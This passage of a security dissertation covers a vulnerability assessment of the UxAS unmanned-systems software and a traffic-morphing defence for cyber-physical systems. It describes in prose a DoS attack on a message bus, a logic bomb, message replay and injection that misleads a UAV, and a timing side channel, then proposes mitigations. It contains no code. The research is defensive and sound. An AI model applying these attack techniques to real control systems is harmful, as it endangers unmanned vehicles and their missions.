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ABSTRACT
Li, Yu. Ph.D., Department of Computer Science and Engineering, Wright State University,
2019. Securing Modern Cyberspace Using A Multi-Faceted Approach
Security has become one of the most significant concerns for our cyberspace. Secur-
ing the cyberspace, however, becomes increasingly challenging. This can be attributed to
the rapidly growing diversities and complexity of the modern cyberspace. Specifically, it
is not any more dominated by connected personal computers (PCs); instead, it is greatly
characterized by cyber-physical systems (CPS), embedded systems, dynamic services, and
human-computer interactions. Securing modern cyberspace therefore calls for a multi-
faceted approach capable of systematically integrating these emerging characteristics. This
dissertation presents our novel and significant solutions towards this direction. Specifi-
cally, we have devised automated, systematic security solutions to three critical aspects of
our modern cyberspace including i) cyber-physical systems, ii) dynamic web services, and
iii) social networks. This dissertation makes the following contributions. First, we have
conducted systematic vulnerability assessment for a real-world, complex CPS, namely Un-
manned Systems Autonomy Services (UxAS). Our assessment has identified a set of ex-
ploitable vulnerabilities. Second, we have designed an adaptive traffic morphing algorithm
to conceal CPS communications into background network traffic. Third, we have designed
a CPS self-destruct model and studied the security-and-performance trade-off using prob-
abilistic model checking. Fourth, we built a novel detection system to detect PHP-based
malicious web shells. Finally, we have designed a novel detection system to detect suspi-
cious behaviors in an online emotional support system.
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Chapter 1: Introduction
Security has become one of the most significant concerns for our cyberspace. Securing
the cyberspace, however, becomes increasingly challenging. This can be attributed to the
rapidly growing diversities and complexity of the modern cyberspace. Specifically, it is
not any more dominated by connected personal computers (PCs); instead, it is greatly
characterized by cyber-physical systems (CPS), embedded systems, dynamic services, and
human-computer interactions [44]. Securing modern cyberspace therefore calls for a multi-
faceted approach capable of systematically integrating these emerging characteristics. This
dissertation presents our novel and significant solutions towards this direction. Specifi-
cally, we have devised automated, systematic security solutions to three critical aspects of
our modern cyberspace including i) cyber-physical systems, ii) dynamic web services, and
iii) social networks. Figure 1.1 outlines the framework of our system, the focus, and the
relevant publications.
Cyber-physical systems (CPS) have formed the interface between the cyber space and
the physical world. Powered by a set of networked nodes such as controllers, sensors,
and actuators, Cyber-Physical Systems (CPSs) have been envisioned to revolutionize our
world in numerous aspects such as defense, transportation, energy, and health care. CPS
security plays a fundamental role in building a secure and trusted cyber space. Compared
to the mature security solutions against cyber attacks for traditional computation systems
such as desktops, CPSs are more vulnerable and lack security protection considering their
predictable operational patterns, constrained resources, and increased direct exposure to
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attackers.
In order to devise effective security solutions for CPS, this dissertation research has
started with vulnerability assessment for a real-world, complex CPS, namely Unmanned
Systems Autonomy Services (UxAS) [10]. A UxAS is a set of networked software modules
that collaboratively automate mission-level decision making for unmanned systems. This
research has revealed three vulnerabilities with proof-of-concept of exploits, including i)
timing-based side channel based on inter-packet delays, ii) replayed and forged packets to
mislead the unmanned systems, and iii) logic bombs for DoS attacks. The research results
are discussed in Chapter 2.
Our study on CPS vulnerabilities has revealed at least two general security challenges
for CPS. First, CPS communication channels may leak sensitive information. Second, CPS
might be misled and physically collected by adversaries, thereby leaking sensitive informa-
tion out. In order to systematically address these two security challenges, we have designed
a traffic morphing algorithm to conceal CPS communications in background traffic (see
Chapter 3); we have also designed a self-destruct CPS model and quantify its performance
as well as security properties using probabilistic model checking (see Chapter 4).
In order to conceal CPS communications, we have adopted the moving-target de-
fense strategy. This strategy aims to control change across multiple system dimensions to
increase uncertainty and apparent complexity for attackers, reduce their window of oppor-
tunity, and increase the costs of their probing and attack efforts [3]. We can design a CPS
session as a moving target, so that it can nondeterminstically change its profile to thwart
traffic analysis attacks. More specifically, in the context of delivering CPSs messages in
existing infrastructures such as the Internet, we can morph a CPS network session such
that it resembles typical network sessions with respect to a given set of features, making it
statistically indistinguishable from the background traffic.
Our self-destruct CPS model considers the scenario that a CPS is lost and collected
by an attacker. In this case, great security concerns will arise: the attacker can break into
2
Figure 1.1: The framework of the dissertation studies. This dissertation focuses on cyber-
physical system security [153, 151, 155], web security [152], and online social network
security [154].
the system (e.g., by brute-force login accesses, exploiting certain vulnerabilities, or phys-
ically disassembling the system) to collect various sensitive information such as program
instructions and data from both memory [107] and disk. In response, we propose to adopt a
cryptographic method to “destruct” the sensitive information. Specifically, we proactively
encrypt the sensitive instructions and data in a CPS node. The encrypted information is
stored locally in the sensor while the decryption key is remotely stored in another node that
is unlikely to be lost. When a task is triggered by the monitored physical entity, the CPS
device will first retrieve the key, then decrypt the encrypted relevant instructions and data,
next load them into the memory, and finally execute instructions with data. Once the task
is finished, the CPS node will delete all decrypted sensitive information as well as the local
copy of the key. Such design offers two unique advantages. On the one hand, as long as
the task is finished, a CPS node will only contain the encrypted sensitive information. On
the other hand, it tolerates false positives of loss detection since the CPS node will resume
proper operation once it can reestablish wireless communications with other nodes.
The prevalence of HTTP protocol has made web servers a critical, indispensable com-
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ponent in the cyber space. The growing number of sophisticated attacks have proven that
web security remains one of the most critical challenges. A critical step for attackers to suc-
cessfully launch web-based attacks is usually to upload web shells [228] to compromised
servers. Web shells on the compromised server are able to execute arbitrary commands,
monitor activities conducted on the server and elevate their privileges. Unfortunately, ef-
fective methods to automatically detect web shells, to the best of our knowledge, are still
missing. We developed a machine-learning-based method to correlate a set of syntactical
and semantic features for web shell detection (see Chapter 5).
Users are the ultimate victims of most cyber attacks. With the emergence of online
social networking (OSN), human users become direct targets of attackers. While OSN be-
came a communication medium that brings people all over the world together, it has been
leveraged by attackers to launch a variety of attacks such as phishing, spamming, trolling,
and harassment. Online emotional support systems represent a new type of OSN, where
they provide free support to individuals who experience stress, anxiety, and depression
by bridging individuals (i.e., users) with a crowd of voluntary paraprofessionals. While
most users tend to legitimately seek mental support, others may engage maliciously by
attacking volunteers with trolling, flaming, bullying, spamming, and phishing behaviors.
Besides attacking the mental health of trained paraprofessionals, these suspicious activi-
ties also introduce threats against the long-term viability of the platform by discouraging
new volunteers and encouraging current volunteers to leave. Towards curtailing suspicious
users, we propose a novel detection system that effectively detects suspicious behaviors
by integrating a collection of light-weight behavioral features together. To the best of our
knowledge, this work represents the first effort to systematically detect suspicious members
in an online emotional support system. We have evaluated our system using data collected
from 7 Cups, a leading website (also an app) that provides free support to people expe-
riencing emotional distress by connecting them with trained listeners via anonymous and
confidential communications. Our experimental results have demonstrated that our detec-
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tion system can achieve a high detection rate of 77.8% with a low false positive rate of 1%.
The research results are discussed in Chapter 6.
To summarize, this work makes the following contributions.
• We have conducted systematic vulnerability assessment for a real-world, complex
CPS, namely Unmanned Systems Autonomy Services (UxAS) [10]. Our assessment
has identified a set of exploitable vulnerabilities [153].
• We have designed an adaptive traffic morphing algorithm to conceal CPS communi-
cations into background network traffic [151].
• We have designed a CPS self-destruct model and studied the security-and-performance
trade-off using probabilistic model checking [155].
• We have developed a novel detection system to detect web shells written in PHP. The
article is submitted to a journal.
• We have designed a novel detection system to detect suspicious behaviors in an on-
line emotional support system [154].
The rest of the dissertation work is organized as follows:
1. In Chapter 2, we present the security analysis for UxAS, a CPS (unmanned sys-
tems) controlling software that consist of a set of networked software modules that
collaboratively automate mission-level decision making. We leveraged the threat-
driven method to identify security requirements that focus on UxAS’ confidentiality,
integrity, and availability and developed fuzz tests to evaluate whether UxAS satis-
fies these requirements. Our testing reveals all proposed security requirements are
violated by the current implementation of UxAS.
2. In Chapter 3, we discuss the design of our mitigation strategy, CPSMorph, a novel
traffic morphing algorithm, to protect CPS sessions. CPSMorph maintains a number
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of network sessions whose distributions of inter-packet delays are statistically indis-
tinguishable from those of typical network sessions. A CPS message will be sent
through one of these sessions with assured satisfaction of its time constraint. strives
to minimize the overhead by dynamically adjusting the morphing process. It is char-
acterized by low complexity as well as high adaptivity to changing dynamics of CPS
sessions. Experimental results have shown that CPSMorph can effectively perform
traffic morphing for real-time CPS messages with moderate overhead.
3. In Chapter 4, we propose a framework to facilitate the design of CPS with self-
destructing function and assured security with performance properties. This frame-
work includes a cryptographic self-destructing mechanism that enables autonomous
self-destruction of a wirelessly-connected CPS node and a caching strategy to reduce
the performance overhead that is consequently introduced. Based on Discrete-Time
Markov Chains (DTMC), we have designed models to characterize the proposed self-
destructing mechanism, the caching strategy, various components in a CPS, the at-
tacker, and their interactions. We have also defined security and performance proper-
ties in the form of probabilistic computation tree logic (PCTL), which could be rig-
orously verified using probabilistic model checking. The analysis results can guide
the design and configuration of a CPS that lead to assured and optimized balance
between security and performance.
4. In Chapter 5, We have presented a novel detection system named ShellBreaker to
detect web shells written in PHP. ShellBreaker features a collection of syntactical
and semantic features that systematically characterize web shells. We have evaluated
ShellBreaker using a large number of 475 real-world, PHP-based web shells and the
same number of benign PHP scripts. Our experimental results have demonstrated
that ShellBreaker can achieve a high detection rate of 91.7% with a low false positive
rate of 1%.
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5. In Chapter 6, we discuss a novel system, namely TeaFilter, that effectively detects
suspicious behaviors by integrating a collection of light-weight behavioral features
together for online emotional support systems. We have performed extensive ex-
periments based on real user data from 7 Cups, a leading online emotional support
system in the world. Experimental results have demonstrated that our system can
accomplish a high detection rate of 77.8% at a low false positive rate of 1%.
6. In Chapter 7, we conclude our work.
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Chapter 2: Vulnerability Assessment for
Unmanned Systems Autonomy Services
Architecture
2.1 Motivation
Unmanned Systems Autonomy Services (UxAS) [10] is a set of networked software mod-
ules that collaboratively automate mission-level decision making for unmanned systems.
One of UxAS’ design objectives is to enable the testing and integration of new services that
enhance the autonomy of unmanned systems. Its bus-based communication backbone (via
ZeroMQ) enables the easy integration of new services. However, security threats become a
significant concern considering the possibility that untrusted services might be brought into
UxAS and the communication between UxAS and unmanned systems is subject to attacks.
Proposed, developed, and publicized by United States Air Force Research Labora-
tory (U.S. AFRL), UxAS has strong and promising implications in practice considering its
open-source nature, a rich body of control and planning algorithms, and its built-in exten-
sibility to incorporate third-party services and tasks. Although it is currently mainly used
for simulation and verification, it can be easily extended to support emulation and practical
deployment of unmanned aerial vehicles (UAVs). Therefore, performing vulnerability as-
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sessment for UxAS is of significant importance. It does not only demonstrate the security
flaws in the current implementation of UxAS, but also reveal the general trade-off between
security and performance for control systems used in unmanned vehicles.
As illustrated in Figure 2.1, UxAS features a bus-based architecture. Specifically, all
components interact with each other by sending and receiving messages through a bus-
based communication backbone, which is currently implemented using ZeroMQ. Compo-
nents can be classified into two categories including services and tasks. Services expose
common functionalities such as planning, vehicle coordinating, and tracking necessary
data; they are designed to be independent and stateless when possible. Tasks represent
specific scenarios of using one or multiple services, where popular examples include area
search, line search, and blockade. UxAS supports the integration of third-party tasks to
enrich its capabilities. In other words, new services and tasks can be easily integrated into
this framework thanks to the bus-based communication backbone.
While UxAS focuses on control and planning, the actual unmanned vehicle is cur-
rently based on a simulator named the AVTAS Multi-Agent Simulation Environment (a.k.a.
AMASE). AMASE interacts with UxAS using messages exchanged through ZeroMQ. It is
capable of simulating various factors of UAS such as navigation, sensing, target tracking,
and visualization.
In this chapter, we focused on three tasks. First, we leveraged the threat-driven method
to identify security requirements that focus on UxAS’ confidentiality, integrity, and avail-
ability. Next, we designed and developed fuzz tests to evaluate the satisfaction of these
requirements. Experimental results have shown these requirements are not met in current
UxAS. Specifically, the current version of UxAS is vulnerable to a variety of attacks such
as denial of service, message injection/replay, service self-destruct, and timing-based side-
channel attacks. Finally, we studied the root-causes for these vulnerabilities and proposed
mitigation strategies.
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Figure 2.1: The Architectural Overview of UxAS; Reprinted from [153]
2.2 Related Work
Security of unmanned control systems is of fundamental importance. Examples include
the loss of an RQ-170 Sentinel to Iranian military forces in December 2011 [225] and a
keylogging virus that compromised an U.S. UAV fleet at Creech Air Force Base in Nevada
in 2011 [180]. Both practical examples demonstrate that UAV vulnerability can cause a
wide range of operation failures.
With the increasing awareness of the UAV security, many intrusion detection ap-
proaches have been proposed [31, 212, 30, 174]. These methods focus on monitoring
and analyzing UAV behaviors in real-time to detect the hardware failures and anomalies
that can impede the accomplishment of pre-defined missions. While these methods are
mainly focusing on detecting data injection or manipulation attacks, they cannot detect
stealthy attacks such as side-channels and host-based attacks. Other methods focus on en-
hancing UAV security from a specific aspect. For example, encryption has been introduced
to protect communication channels [270]. Researchers have also explored the threat model
of a military unmanned aerial vehicle smart device ground control station [168].
Some researchers also proposed simulation testbeds to evaluate the effectiveness of
attacks on UAV systems. For example, Javaid et al. [126] designed a UAV simulation
platform based on OMNeT++ and used this platform to test jamming attacks and DoS
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attacks. Rodday et al. [204] demonstrated how to perform man-in-the-middle attacks, and
how to inject control commands to interact with the compromised UAV. He et al. [112]
reported a low-cost implementation of GPS spoofing attacks or WiFi attacks, together with
potential mitigation solutions. Hooper et al. [117] used a fuzzing technique to discover
that the Parrot Bebop UAV is vulnerable to buffer overflow attacks during its connection
process.
Our work differs from these methods in various ways. First, our work focuses on a
novel, collaborative, and cooperative unmanned autonomous system (UAS) control system
(i.e., UxAS). It has new features such as a bus-based communication backbone and it can
be easily extended to integrate new components. Second, we leverage a systematic solution
to identify security requirements, perform fuzz testing, and analyze root causes. Third, we
analyze new attacks such as logic bombs and side-channel attacks to reveal the number of
UAVs deployed in a certain area.
2.3 Security Requirement Analysis
Threat Model: Since UxAS is designed to integrate third party services and tasks, our
threat model considers the possibility that a third party module is malicious. In addition,
the communication channel between UxAS and the UAV, despite its current dependency
on host-based ZeroMQ implementation, will be most likely to leverage existing network
infrastructures such as the WiFi, local area networks, and even Internet. As a result, it is
extremely challenging for UxAS to verify the trustworthiness of its communication chan-
nel. In other words, our threat model considers attackers’ attempts to eavesdrop, inject,
and jam the communication channel. However, we assume all built-in components and the
underlying communication infrastructures are trustworthy. Figure 2.2 visualizes the threat
model.
Threat-Driven Security Requirement Analysis: We use the attack tree [211] to model
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Figure 2.2: Threat Model; Reprinted from [153]
Figure 2.3: Attack Tree; Reprinted from [153]
how security properties could be contaminated in UxAS. Figure 2.3 visualizes the attack
tree we have derived. We traverse this attack tree to identify the security requirements.
Specifically, the effective countermeasure against the attack in each node becomes a re-
quirement. When closer to the root, the requirement is more generic and abstract; a re-
quirement for a leaf node represents a concrete and implementable requirement. Table 2.1
presents the security requirements that will ensure the availability of the UxAS ZeroMQ
backbone. The first column of the table is the requirement ID, the second is the requirement
ID of the upper-level identification (i.e., to trace back to a more generic requirement), and
the third column is the requirement statement. Specifically, the “SR3” requirement is the
general requirement to protect the availability of the ZeroMQ backbone. The “SR4” and
“SR5” requirements represent the specific requirements to detect injected messages and
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ID Trace Requirement
SR3 [Problem] UxAS communication channels shall always be available to intended users.
SR4 SR3 UxAS shall filter out noisy data from communication channels.
SR5 SR3 UxAS shall detect the authenticity of incoming messages.
SR6 SR5 UxAS shall detect if an actor resends an old message.
Table 2.1: Security Requirements for the Availability of the ZeroMQ Channel; Reprinted
from [153]
detect replayed messages, respectively.
2.4 Security Testing
In order to evaluate the extent to which UxAS meets the proposed security requirements,
we have developed a series of fuzz tests. These tests target at all three aspects of security
properties: availability, integrity, and confidentiality.
2.4.1 Availability Test
As the availability of UxAS relies on the proper interaction among all components, dis-
rupting critical resources that enable the inter-component communication will effectively
paralyze UxAS. Towards this end, we designed and implemented two types of attacks: a
DoS attack against the bus-based communication channel and a self-destructing malicious
service.
DoS Against The Bus-Based Backbone UxAS employs ZeroMQ to build its bus-based
inter-service network backbone. Specifically, each service or task will establish a TCP
connection with the ZeroMQ component and subscribe to certain types of messages. Once
a service (or a task) publishes a message to the ZeroMQ component, ZeroMQ will first
cache this message and then push this message to all services that subscribe to this type of
this message. Therefore, the ZeroMQ backbone represents a single point of failure for the
entire system. We hence test the availability of the ZeroMQ backbone when a large number
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of messages are published in a short time period. Specifically, we have implemented a
malicious service to perform such attack. We have tested two types of messages: i) ill-
formatted messages and ii) legitimate messages compatible with pre-defined formats.
The ZeroMQ backbone should immediately discard ill-formatted messages. However,
ZeroMQ, as a generic, application-agnostic communication channel, relies on end points to
verify the correctness of messages. As a consequence, the ZeroMQ component caches all
messages regardless of the correctness of their formats. The test shows that the ZeroMQ-
based communication channel crashes when it receives a large number of ill-formatted
messages from the malicious service. In addition, the ZeroMQ channel is also vulnerable
to a large amount of well-formatted messages sent during a very short time period (e.g., a
DoS attack based on well-formatted messages).
Self-Destructing Logic Bomb A malicious service might self-destruct in order to intro-
duce collateral damage to the entire UxAS. Such self-destruction could be comprised of
sophisticated programs/conditions (a.k.a. logic bombs) to introduce significant challenges
to detection such as impeding static and dynamic program analysis. We have designed a
self-destructing logic bomb. The self-destruction capability of this logic bomb is materi-
alized by memory segmentation faults and the logic condition is a combination of timing
and the number of messages observed through the bus-based communication. These two
conditions may introduce great challenges to static and dynamic analysis.
This attack exploits the fact that all services, tasks, and other libraries are executed
in the same memory address space. As a result, the abortion of a maliciously- or poorly-
engineered service will terminate the entire system. Figure 2.4 presents the consequence
of this attack.
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Figure 2.4: Self-Destructing Logic Bomb Terminates UxAS Using Segmentation Fault;
Reprinted from [153]
Figure 2.5: The UAV Misled by Fabricated Messages; Reprinted from [153]
2.4.2 Integrity Test
A malicious service can replay a captured message (without decrypting or decoding it);
it can also fabricate a new one and inject it into the communication channel. All these
activities compromise system integrity. We designed two tests to evaluate how UxAS reacts
to such attacks.
Message Replay We design a malicious service to sniff MissionCommand Messages,
where MissionCommand messages are used to carry segments of paths an UAV should
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follow. Once a MissionCommand Message arrives, our malicious service will immediately
replay it to the ZeroMQ channel. Since the next authentic MissionCommand message is
sent at the completion of the current one, the replayed message will arrive before the next
authentic one. Our testing results show that the replayed message can successfully mis-
lead the UAV. Specifically, the UAV repeats the path that is contained in the original route
indicated in the original MissionCommand Message.
Message Injection We have designed a malicious service capable of fabricating Mission-
Command messages and then injecting them into the ZeroMQ backbone. The fabricated
MissionCommand message contains waypoints of a manipulated path. Our testing results
show that once the fabricated message is received and processed by the UAV, the UAV
deviates from the expected path and starts to follow the path indicated in the fabricated
message. As indicated in Figure 2.5, the green line represents a river that the UAV is ex-
pected to traverse along; the blue line represents the actual path the UAV follows after it is
misled.
2.4.3 Confidentiality Test
UxAS should never leak sensitive information to untrusted parties. However, since UxAS
has not adopted any encryption method to protect its messages, all messages are exchanged
in plaintext. As a result, anyone who has access to messages can extract sensitive informa-
tion. Examples include malicious services that subscribe to messages and attackers who
sniff on the communication channel between UxAS and the UAV, where they can extract
sensitive information. Nevertheless, we expect leakage through plaintext can be addressed
by encryption. Therefore, our test focuses on side-channel-based information leakage. We
consider the scenario in which attackers can sniff messages exchanged between UxAS and
the UAV. While the plaintext is unavailable because of encryption, packets’ timing infor-
mation is readily accessible to attackers [163].
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Figure 2.6: Correlation Between Inter-Packet Delays and The Number of UAVs; Reprinted
from [153]
Our test explores the correlation between inter-packet delays and the number of UAVs
controlled by UxAS. Specifically, we consider the distribution of time intervals between
two consecutive packets when different numbers of UAVs are under control. We have ex-
perimentally derived the distribution of time intervals in two bins including [0ms, 500ms)
and [500ms,∞) when the number of UAVs grows from 1 to 4, which is presented in Fig-
ure 2.6. The experimental results demonstrate a high level of correlation between packets’
timing and the number of UAVs. It’s a strong indication that attackers can easily infer the
number of UAVs from the timing-based side channel.
2.5 Root-Cause Analysis and Mitigation Strategies
Based on the analysis of the test results, we have concluded the root causes of UxAS
vulnerabilities and proposed mitigation solutions. The architecture with built-in mitigation
solutions is presented in Figure 2.7.
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Figure 2.7: UxAS with Mitigation Strategies; Reprinted from [153]
Incomplete Mediation: UxAS lacks a mechanism to monitor and mediate the interactions
among different services through ZeroMQ. As a result, an arbitrary service can send any
type of message to other services and the ZeroMQ channel will indiscriminately accept all
messages. We recommend a middleware between all services and the ZeroMQ channel to
monitor messages, enforce access control, and perform detection. This middleware will
verify a message before it is sent to the ZeroMQ channel. Specifically, it can correlate
both the source and the type of a message to identify replay attacks. It will also profile
services’ message-sending activities to first detect those services that send a large number
of messages (e.g., a possible DoS attacker), and then limit their packet rates to protect the
ZeroMQ channel.
Lack of End-to-End Authentication and Encryption: There is no mechanism currently
in UxAS to support the verification of the authenticity and integrity of messages. While the
aforementioned middleware can partially solve the authentication challenge, a fundamental
solution is to integrate public/private keys in UxAS to assure authentication, encryption,
and integrity for all messages.
No Inter-Service Isolation: All services operate in the same address space currently in
UxAS. Therefore, the malfunction of one service, no matter intentionally or accidentally,
will directly affect the operation of other services. The complete isolation of memory
space for services should be enforced. For example, each service could be implemented
as an individual process and it therefore has separated memory space. A more ambitious
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solution is to run each service in a dedicated operating system (e.g., a virtual machine) to
mitigate the possible exploitation of OS kernels by malicious services.
Side Channels: The timing information of the UxAS communication channel is strongly
correlated with sensitive internal states such as the number of UAVs. Two potential so-
lutions could be employed. On the one hand, UxAS could randomize packets’ timing
information such as generating redundant packets at random time intervals. Although this
solution can eliminate sensitive information leaked from the communication channel, it
in turn might reveal the presence of the UxAS communication channel, thereby making
possible other attacks such as signal jamming. On the other hand, UxAS can use traffic
morphing [150] to make UxAS traffic patterns statistically indistinguishable from traffic
patterns of popular network applications such as web clients or messengers.
2.6 Summary
In this chapter, we present our security analysis for UxAS, a net-centric collection of inter-
acting software modules that aim to collaboratively and cooperatively automate mission-
level decision making for unmanned systems. We leveraged a threat-driven method to
identify security requirements of UxAS and developed fuzz tests to evaluate whether UxAS
satisfies these requirements. Our testing reveals all proposed security requirements are vi-
olated by the current implementation of UxAS.
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Chapter 3: Morphing Communications
of Cyber-Physical Systems Towards
Moving-Target Defense
3.1 Motivation
Powered by a set of networked controllers, sensors, and actuators that are capable of mon-
itoring and changing the states of physical elements/entities in real-time, Cyber-Physical
Systems (CPSs) have been envisioned to revolutionize our world in numerous aspects such
as defense, transportation, energy, and health care. Their massive deployment calls for
long-range and reliable communication services with manageable cost. Considering the
fact that existing networking infrastructures such as cellular networks, wireless networks,
intranets, and the Internet have offered unparalleled coverage, it has been believed to be an
inevitable trend to relay a significant portion of CPS traffic through existing infrastructures.
For example, the DNP3 [103], a communication protocol that is widely used by CPSs in
the domain of power grids, has integrated the capability to tunnel CPS messages through
the Ethernet.
Despite its practical and economical promises, relaying CPS messages through ex-
isting infrastructures makes a CPS more vulnerable to attacks. Adversaries could easily
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get access to CPS network traffic, identify the CPS communication channels, and then
launch various attacks. For example, if the messages of a CPS are relayed through a wire-
less router, adversaries can easily sniff the (encrypted) CPS network packets as a result
of the shared-medium nature of wireless links. Even worse, adversaries might directly
manage some network infrastructures and get full visibility of all network traffic (e.g., via
compromising network devices [86] or rerouting network traffic using BGP hijacking at-
tacks [20]). After the network traffic is eavesdropped, attackers can perform traffic analysis
attacks, where various traffic features, such as packet size and inter-packet delay (IPD), are
extracted to profile network sessions and identify those used for CPSs [272]. In fact, CPS
network sessions often exhibit strong interactive and periodic patterns due to their adoption
of periodic tasks [239]. As a consequence, traffic analysis attacks could easily distinguish
them from the background traffic such as HTTP and P2P sessions. An identified CPS
network session will expose an enormous attacking surface to adversaries, ranging from
information leakage to denial of service attacks.
It is of fundamental importance to protect CPS communications against various at-
tacks. As we can hardly prevent all adversaries from accessing network traffic, we envision
that a feasible solution is to apply the moving-target defense strategy. Moving-target de-
fense aims to control change across multiple system dimensions to increase uncertainty
and apparent complexity for attackers, reduce their window of opportunity, and increase
the costs of their probing and attack efforts [3]. We can design a CPS session as a moving
target, so that it can nondeterminstically change its profile to thwart traffic analysis attacks.
More specifically, in the context of delivering CPS messages in existing infrastructures
such as the Internet, we can morph a CPS network session such that it resembles typical
network sessions with respect to a given set of features, making it statistically indistin-
guishable from the background traffic. Since the vast majority of existing traffic analysis
attacks [223, 262, 274, 260, 259] require features related to packet size and inter-packet
delay (IPD), how to effectively obfuscate both packet size and IPDs becomes the design
21
focus [176]. A few algorithms have been proposed to obfuscate or morph the network ses-
sions of traditional applications such as Skype with respect to packet size [261, 273] and
IPDs [176], respectively. While it is possible to leverage existing algorithms [261, 273] to
morph the distribution of packet size for CPS sessions, the real-time nature of CPSs ob-
structs the direct application of the existing IPD-based morphing algorithm [176]. Specifi-
cally, the CPS communication is usually time-constrained, where the delivery of a message
has to meet a predefined deadline. However, the typical network session that the CPS ses-
sion strives to resemble may not necessarily follow any time constraints. As a consequence,
in spite of the effectiveness on counteracting traffic analysis attacks, the existing IPD-based
morphing algorithm [176] may actually constantly violate CPSs’ time constraints.
In this chapter, we introduce CPSMorph, a novel traffic morphing algorithm that i)
morphs the distribution of IPDs in a CPS session so that it maximally resembles that of
randomly selected network sessions in the background traffic and ii) ensures the mes-
sages delivered by the morphed sessions meet the time constraints specified by the CPS. To
the best of our knowledge, CPSMorph is the first traffic morphing solution for delivering
CPS messages in networks under real-time constraints. At a high-level, CPSMorph allows
a CPS agent to open multiple sessions, where each session is a representative of com-
mon background traffic in the Internet. Based on the time constraints and the dynamics
of opened sessions, a CPS agent chooses to send messages alternatively through several
opened sessions. Inevitably, redundant packets have to be sent to maintain the distribution
of IPDs, and CPSMorph strives to minimize the overhead in this morphing process on-
the-fly. Characterized by low complexity and high adaptivity to the changing dynamics of
CPSs, CPSMorph is a promising defense solution for combating traffic analysis attacks.
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3.2 Related Work
Sophisticated traffic analysis attacks have been developed to violate the privacy of network
communications protected by strong encryption schemes. These attacks are commonly for-
mulated as a statistical classification problem: first, a number of features rooted in packet
size and IPDs are extracted; then, a classifier is trained based on these features; finally,
given a network session whose application-layer information (e.g., protocol and content)
is encrypted, the classifier attempts to reveal sensitive application-layer information that
is of attackers’ interest. For instance, Wright et al. inferred application protocols in en-
crypted traffic [262] and identified the language [260] as well as spoken phrases [259]
in encrypted VoIP sessions merely based on the size and timing information of packets;
Zhang et al. [274] also employed such information to infer users’ online activities; Song et
al. leveraged arrival times of packets to identify passwords in SSH sessions [223].
Despite the fact that a CPS session will most likely be protected by advanced encryp-
tion algorithms, it might still be vulnerable to traffic analysis attacks since its network-layer
behavior could exhibit strong real-time characteristics. For example, if a CPS maintains a
periodic task, its network session may accordingly exhibit strong periodic pattern, making
it easily distinguishable from the background traffic. Figure 3.1 presents the distribution of
IPDs in a CPS session belonging to a robot experiment Cyber-Phycial System [5], where
messages are periodically exchanged between a controller and a sensor. Yielding a spike of
IPDs around 50 ms, the CPS session exhibits drastic deviation from typical network traffic.
It is a promising solution to protect a CPS network session against traffic analysis
attacks by morphing its IPD distribution. However, an effective morphing algorithm ap-
plicable to CPS needs to satisfy CPSs’ real-time constraints. Specifically, the delay of a
CPS message delivery (δtdelay) has to be smaller than a predefined threshold (δtthreshold).
δtdelay consists of the delay of the network delivery (δtnetwork) and the delay of the sending
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Figure 3.1: An Motivating Example; Reprinted from [151]
action in the sender system (δtd), meaning that δtdelay = δtnetwork + δtd. We consider the
scenario that δtnetwork can be accurately measured [113]. Therefore, when a CPS indicates
the threshold (δtthreshold), we can estimate the delay of the sending action that can be toler-
ated by the CPS using δtd = δtthreshold− ˆδtnetwork, where ˆδtnetwork stands for the measured
network delivery. Since a CPS often has little control of the network, our algorithm focuses
on satisfying the time constraint of δtd. In addition, since a bidirectional network session
can be considered as a combination of two unidirectional sessions, our design concentrates
on morphing a unidirectional session, which is same as the existing IPD morphing algo-
rithm [176].
3.3 Adaptive Real-Time Traffic Morphing Algorithm
The architectural overview of CPSMorph is illustrated in Figure 3.2, where CPSMorph of-
fers time-constrained communication morphing service using two functions, send(msg:String,
δtd:Double) and receive( ). In addition, CPSMorph leverages a collection of typi-
cal network sessions such as HTTP, P2P, and SSH sessions (referred to as target sessions),
which can be captured from arbitrary networks. A CPS invokes the send() function to
send an on-the-fly generated message (msg) where δtd, a time constraint, is to assure the
sending of this packet within δtd seconds upon its arrival at send(). Under the hood of
send(), a number of network sessions are maintained and the CPS packet will be as-
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Figure 3.2: Architectural Overview of CPSMorph; Reprinted from [151]
signed into one of them. The send() function needs to adjust the sending time of a CPS
message, autonomously generate redundant packets, initiate new sessions, and terminate
existing sessions to guarantee that the IPD distribution of each session maximally resem-
bles that of a certain target session. Meanwhile, CPSMorph strives to minimize the number
of redundant packets sent in this traffic morphing process. The receive( ) function
simply aggregates packets from all sessions and extracts those for CPS. In the rest of this
section, we will formulate a real-time traffic morphing problem and then present an adap-
tive and low-complexity algorithm as its solution.
3.3.1 Problem Formulation
CPSMorph starts from a set of target sessions denoted as {S1, S2, ..., SN} that represent
typical network traffic in the Internet. We use a random variable δt to denote the inter-
packet delay (IPD) in a network session, where δt ∈ [0, Tmax] and Tmax is the observed
maximum IPD among all target sessions. We further evenly divide [0, Tmax] into L ranges:
{(0, T1], (T1, T2], ..., (TL−1, TL]}, where TL = Tmax. We denote the length of each interval
as ∆T . The distribution of the values for δt of a unidirectional network session (say, Si)
will be used to statistically profile this session. This process is materialized by a function
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called P () in the context of our work, where P (Si, j) indicates the probability that the IPD
samples in session Si fall within range (Tj−1, Tj]. Accordingly, the profile of Si (denoted
as Prof(Si)) will be characterized by the tuple 〈{P (Si, 1), P (Si, 2), . . . , P (Si, L)}, |Si|〉,
where |Si| indicates the number of IPD samples in this session.
After CPSMorph is initialized, it will dynamically maintain a group of active sessions
(denoted as {A1, A2, ..., AK}). Each active session Aw will be used for sending CPS mes-
sages and meanwhile the profile of Aw should resemble that of a randomly selected target
session Si, forming a pair 〈Aw, Si〉. For the packets generated in a session, some will be
used for sending CPS messages, whereas others will just be redundant empty packets for
maintaining a target IPD distribution. It is worth noting that the profile of an active session
Prof(Aw) will be updated once a new packet is sent. The number of IPD samples, |Aw|,
will be increased by one and {P (Aw, 1), P (Aw, 2), . . . , P (Aw, L)} will be recalculated.
The design of CPSMorph needs to satisfy two constraints. First, the profile of Aw
has to maximally resemble that of Si. More specifically, Prof(Aw) needs to converge to
Prof(Si) when |Aw| is increased to |Si|. In addition, each CPS message needs to be sent
out before a deadline which is specified by the CPS application.
Designing an algorithm to satisfy these two constraints with unlimited resources is
actually a straightforward task. For instance, we can create an active session for each CPS
message, where the first packet in this session will be used for sending the CPS message
immediately upon its arrival at CPSMorph while all remaining packets are redundant pack-
ets used for maintaining a target profile. Despite its simplicity, such strategy will introduce
extremely high overhead due to the fact that a dominating percentage of resources will be
used for redundant packets, thereby rapidly depleting the computation, storage, and com-
